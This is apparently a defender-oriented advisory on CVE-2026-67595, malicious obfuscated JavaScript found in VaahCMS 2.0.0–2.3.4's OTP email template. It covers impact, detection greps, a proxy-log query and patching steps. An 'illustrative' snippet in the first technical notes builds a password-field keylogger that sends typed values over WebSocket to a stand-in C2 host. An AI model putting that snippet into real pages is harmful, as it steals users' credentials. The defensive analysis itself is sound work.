CVE-2026-67595: Malicious JavaScript in VaahCMS OTP Email Template
TL;DR - VaahCMS 2.0.0 through 2.3.4 contains obfuscated malicious JavaScript in an OTP email Blade template. - Any environment rendering the affected template in a JavaScript-capable browser context is at risk. - Treat this as urgent: upgrade beyond 2.3.4 and investigate for template tampering and suspicious WebSocket traffic.
Vulnerability at a Glance
| Field | Value |
|---|---|
| CVE ID | CVE-2026-67595 |
| CVSS score | 8.1 (High) |
| Attack vector | Remote, via rendering the compromised template in a browser context with JavaScript enabled |
| Auth required | Unknown from published source material; defenders should assume no meaningful attacker authentication is needed once affected content is rendered |
| Patch available | Yes, upstream remediation exists via referenced commit and pull request; exact fixed release number was not conclusively extracted from the available source material |
This is not a typical input validation or access control bug. NVD describes the issue as a malicious, obfuscated JavaScript payload embedded directly in the Blade template used for VaahCMS security OTP emails. That distinction matters operationally because defenders should think in terms of software supply chain integrity and codebase tampering, not just exploit blocking.
The quick triage conclusion is straightforward. If you run VaahCMS in the affected range, specifically versions 2.0.0 through 2.3.4, you should assume the application package or source tree may contain hostile client-side logic. Because the payload is tied to template rendering, the practical risk depends on where and how the generated content is viewed. If admins, users, or support personnel render the affected output inside a browser-capable context, exposure becomes much more serious.
What Is This Vulnerability?
According to the NVD description, VaahCMS versions 2.0.0 through 2.3.4 include an obfuscated malicious JavaScript payload embedded in the Blade template responsible for rendering security OTP emails. Rather than exploiting a coding mistake such as XSS caused by untrusted input, the vulnerable component itself is described as carrying malicious logic. That makes this CVE unusual and operationally significant.
NVD states the payload can allow remote attackers to execute unauthorized code in any browser that renders the affected email template with JavaScript enabled. Reported behaviors include establishing a WebSocket connection to a hardcoded command-and-control endpoint, installing a password-field keylogger using MutationObserver, scraping WhatsApp Web DOM content, and accepting remote commands to redirect or overwrite the rendered page. In practice, that means the impact extends beyond simple script execution and into credential theft, session abuse, and browser-side content manipulation.
Technical Notes
The root cause, based on currently available public information, is best described as malicious code inclusion in an application template. Defenders should classify this closer to a supply-chain style code insertion than to a conventional software defect. Because the public references confirm remediation activity but do not fully expose all implementation details in the retrieved materials, any deeper assertion about exact payload structure should be treated as unverified unless validated directly from the upstream diff.
A simplified example of the kinds of browser APIs defenders should expect in a compromised template includes logic resembling the following:
const ws = new WebSocket("wss://hardcoded-c2.example");
const observer = new MutationObserver(() => {
document.querySelectorAll('input[type="password"]').forEach((el) => {
el.addEventListener('input', (e) => {
ws.send(JSON.stringify({type: 'pw', value: e.target.value}));
});
});
});
observer.observe(document.documentElement, { childList: true, subtree: true });
That snippet is illustrative, not extracted from the upstream code. The important point is the behavior model NVD describes: browser-side beaconing, input harvesting, DOM monitoring, and command execution via a live remote channel.
Who Is Affected?
The affected product is VaahCMS maintained by webreinvent. The affected version range, as stated by NVD, is 2.0.0 through 2.3.4. That range should be treated as inclusive unless the project publishes a narrower clarification. If your asset inventory shows any deployment pinned to those versions, it should be included in response and remediation scope.
The exact fixed release number was not conclusively extractable from the available upstream HTML content in the research notes, even though NVD references both a remediation commit and a pull request. For practitioners, the safest interpretation is: all versions 2.0.0–2.3.4 are vulnerable; any version after 2.3.4 may contain the fix, but you should verify the release notes or source commit mapping before relying on that assumption.
This issue can affect more than just public-facing production nodes. Staging systems, QA environments, self-hosted admin portals, and internal support workflows may also render email templates in webmail, preview pages, browser-based mail clients, or debugging tools. If the malicious template executes in a browser context, internal operators may become the initial victims even when external attack surface appears limited.
Technical Notes
If you need to confirm installed version quickly, use the package manager and repository metadata available in your deployment pipeline. Depending on how VaahCMS was installed, examples may include:
composer show | grep -i vaah
grep -R "vaahcms" composer.lock
git remote -v
git rev-parse HEAD
git tag --contains 8d7898f7a385a5fade1180a9b664ff158d873129
If your environment tracks artifacts rather than Git commits, validate the package checksum and source provenance. In the absence of a clearly documented fixed release number, defenders should anchor on the known bad range and verify that the remediation commit is present in the deployed codebase.
CVSS Score Breakdown
NVD assigns CVSS 8.1 / High to CVE-2026-67595. The full vector string was not returned in the source material provided, so any exact component-level decoding would be speculative. That matters because practitioners often use vector details to decide whether the primary risk is network accessibility, complexity, required privileges, or user interaction. Here, those specifics are incomplete in the current public record excerpt.
Even without the vector, the High rating is consistent with the described behavior. Browser-executed malicious JavaScript that can keylog passwords, scrape sensitive application DOM content, establish outbound command-and-control communications, and accept remote instructions can produce substantial confidentiality and integrity impact. In many organizations, that combination justifies emergency patch handling, especially if the affected template is likely to be opened by privileged users or staff.
Because the attack depends on rendering the compromised template in a JavaScript-capable context, user interaction may be relevant, but that should not lead to downplaying severity. Many modern workflows routinely render HTML email content, previews, or templated notifications in browsers. Where support teams or administrators inspect OTP messages in web interfaces, user interaction becomes routine and highly probable rather than exceptional.
Technical Notes
Since the vector is unavailable from the cited NVD output, defenders should document assumptions explicitly in risk records. A practical internal note might read:
Assumptions for CVE-2026-67595 triage:
- Vulnerable range confirmed: VaahCMS 2.0.0-2.3.4
- High severity confirmed: CVSS 8.1
- Full CVSS vector unavailable in current source set
- Treat as remote exposure through rendered malicious template
- Assume confidentiality and integrity impacts are high
That keeps change control and incident records honest while avoiding fabricated precision.
Exploitation Status
At the time of writing, active exploitation in the wild is not confirmed by the available authoritative sources in the research note. Specifically, the CVE is not listed in CISA’s Known Exploited Vulnerabilities catalog, and the NVD entry does not state that exploitation has been observed in the wild. That means defenders should not claim confirmed in-the-wild exploitation unless they have their own telemetry.
A public proof of concept is also not confirmed from the primary-source material cited in the research note. There is no authoritative evidence there of a standalone PoC repository specifically published for CVE-2026-67595. However, the absence of a public PoC should not reassure defenders. The vulnerability description itself already outlines malicious runtime behavior in meaningful detail, and the issue appears to involve hostile code that was embedded directly in a shipped component.
Operationally, this means you should use the following language in stakeholder updates: PoC not confirmed from available primary sources; active exploitation not confirmed by CISA KEV or NVD; nevertheless, the vulnerable code itself is described as malicious and should be treated as a compromise-level risk. That phrasing is accurate and avoids overstating available evidence.
Technical Notes
If you need to track public exploit discussion internally, monitor these sources for updates:
- NVD CVE record
- CISA KEV catalog
- Upstream VaahCMS repository issues, releases, and PR discussions
- Security advisories that specifically reference CVE-2026-67595
Do not equate “not in KEV” with “safe to defer.” KEV is a useful signal, not a complete exploitation database.
How to Detect It
Detection should focus on three areas: code integrity, browser/network telemetry, and application usage patterns. First, inspect the relevant OTP email Blade template in VaahCMS for obfuscated JavaScript, unexpected <script> blocks, suspicious string decoding routines, WebSocket calls, or MutationObserver logic attached to password fields. Because the issue is described as an implanted payload in a template, file content review is one of the highest-signal detection methods.
Second, review egress and proxy logs for unusual outbound WebSocket connections originating from systems or user browsers that render application-generated OTP content. If you operate secure web gateways, browser isolation, or EDR with browser telemetry, look for sessions where email preview or application-rendered message pages immediately open WebSocket channels to domains not associated with your environment. Also check for evidence of unexpected page redirection or DOM overwrite behavior after rendering template content.
Technical Notes
Start with a source review for suspicious browser APIs and obfuscation indicators:
grep -RInE "WebSocket|MutationObserver|atob\(|fromCharCode|eval\(|document\.querySelectorAll\(['\"]input\[type=password\]" resources/ resources/views/ app/
Search for suspicious script blocks inside the OTP template path if known:
find . -type f | grep -Ei "otp|security.*email|blade\.php"
grep -RIn "<script" resources/views
Useful log and detection ideas include:
Web proxy / SWG pattern:
- URL category: uncategorized or newly seen domain
- Protocol: websocket / wss
- Referrer or initiating page: OTP email preview, admin mail view, or VaahCMS-rendered notification page
EDR / browser telemetry pattern:
- Browser process opens WSS connection shortly after loading an internal OTP-related URL
- DOM access spike involving password input fields
- Client-side redirect immediately following template render
A simple SIEM-style query concept for proxy logs could be:
SELECT timestamp, src_user, src_ip, dest_domain, url, http_method
FROM proxy_logs
WHERE (url LIKE 'ws://%' OR url LIKE 'wss://%')
AND (referrer LIKE '%otp%' OR url LIKE '%otp%' OR app_name LIKE '%VaahCMS%')
ORDER BY timestamp DESC;
If you do not have browser or proxy telemetry, assume lower visibility rather than lower risk. In that case, prioritize code inspection and accelerated patching.
Mitigation and Patching
The vulnerable range is VaahCMS 2.0.0 through 2.3.4. The strongest evidence of a fix is the upstream remediation references cited by NVD: a Git commit and a GitHub pull request. However, the exact fixed release number was not conclusively extracted from the source material available for this article. Because inventing a precise version would be misleading, the correct defensive guidance is: upgrade to the first release after 2.3.4 that includes the remediation commit 8d7898f7a385a5fade1180a9b664ff158d873129, and verify this in upstream release notes or your own source tree.
If you cannot patch immediately, implement workarounds that reduce exposure. Remove or replace the affected OTP email template with a known-clean version from a trusted source, disable rendering of HTML email previews where feasible, and restrict outbound browser/network access to unknown WebSocket destinations. Also consider forcing users to access OTP content through plain-text or sanitized rendering paths until remediation is complete. These are imperfect stopgaps and should not replace a verified upgrade.
Because the issue resembles supply-chain tampering, mitigation should also include integrity validation. Compare deployed files against a trusted upstream state, review recent changes to template files, check CI/CD pipelines for unauthorized modifications, and rotate credentials for any accounts that may have viewed affected content in a browser context. Where privileged staff or admins may have rendered the malicious template, treat credential exposure as plausible.
Technical Notes
If you deploy from Git, verify and update against the remediated upstream state:
git fetch origin --tags
git show 8d7898f7a385a5fade1180a9b664ff158d873129 --stat
git branch --contains 8d7898f7a385a5fade1180a9b664ff158d873129
If your deployment tracks a release tag rather than commits, move to a release after 2.3.4 only after confirming it contains the fix:
git tag --contains 8d7898f7a385a5fade1180a9b664ff158d873129
For emergency containment, remove suspicious script content from the affected template and redeploy from a clean artifact:
cp resources/views/path/to/otp-template.blade.php /tmp/otp-template.blade.php.bak
grep -n "<script" resources/views/path/to/otp-template.blade.php
If installed via Composer or as part of an application dependency workflow, use your normal update process only after validating the target version includes the remediation:
composer update
composer install --no-dev --prefer-dist
Because the exact fixed release number is not confirmed in the available source set, do not blindly run an update without verifying the release mapping. In change tickets, document that the target package or tag must be later than 2.3.4 and must include commit 8d7898f7a385a5fade1180a9b664ff158d873129.
References
The primary authoritative source for this CVE is the NVD record, which describes the affected versions, severity, and the malicious JavaScript behaviors associated with the compromised template. That record is the basis for the vulnerability range and behavioral summary used throughout this article.
The second critical set of references is the upstream remediation trail in the VaahCMS project. NVD cites both a commit and a pull request, which together establish that maintainers addressed the issue in source control even though the exact fixed release number was not reliably extractable from the available fetched HTML content. CISA KEV status is also relevant here because it helps clarify what is and is not publicly confirmed about exploitation.
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-67595
- CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- VaahCMS upstream repository: https://github.com/webreinvent/vaahcms
- Upstream remediation commit: https://github.com/webreinvent/vaahcms/commit/8d7898f7a385a5fade1180a9b664ff158d873129
- Upstream pull request: https://github.com/webreinvent/vaahcms/pull/317
- Additional advisory referenced by NVD: https://www.vulncheck.com/advisories/vaahcms-malicious-javascript-supply-chain-via-security-otp-blade-php
If you are responsible for a VaahCMS deployment, the practical next step is to inventory versions immediately, confirm whether any instance falls in 2.0.0 through 2.3.4, validate that the remediation commit is present in your codebase, and review network and browser telemetry for suspicious WebSocket behavior tied to OTP email rendering.
For further reading on related vulnerabilities, check out our articles on CVE-2026-13019 and what is XXE.
This article may contain affiliate links. We earn a commission on qualifying purchases at no extra cost to you.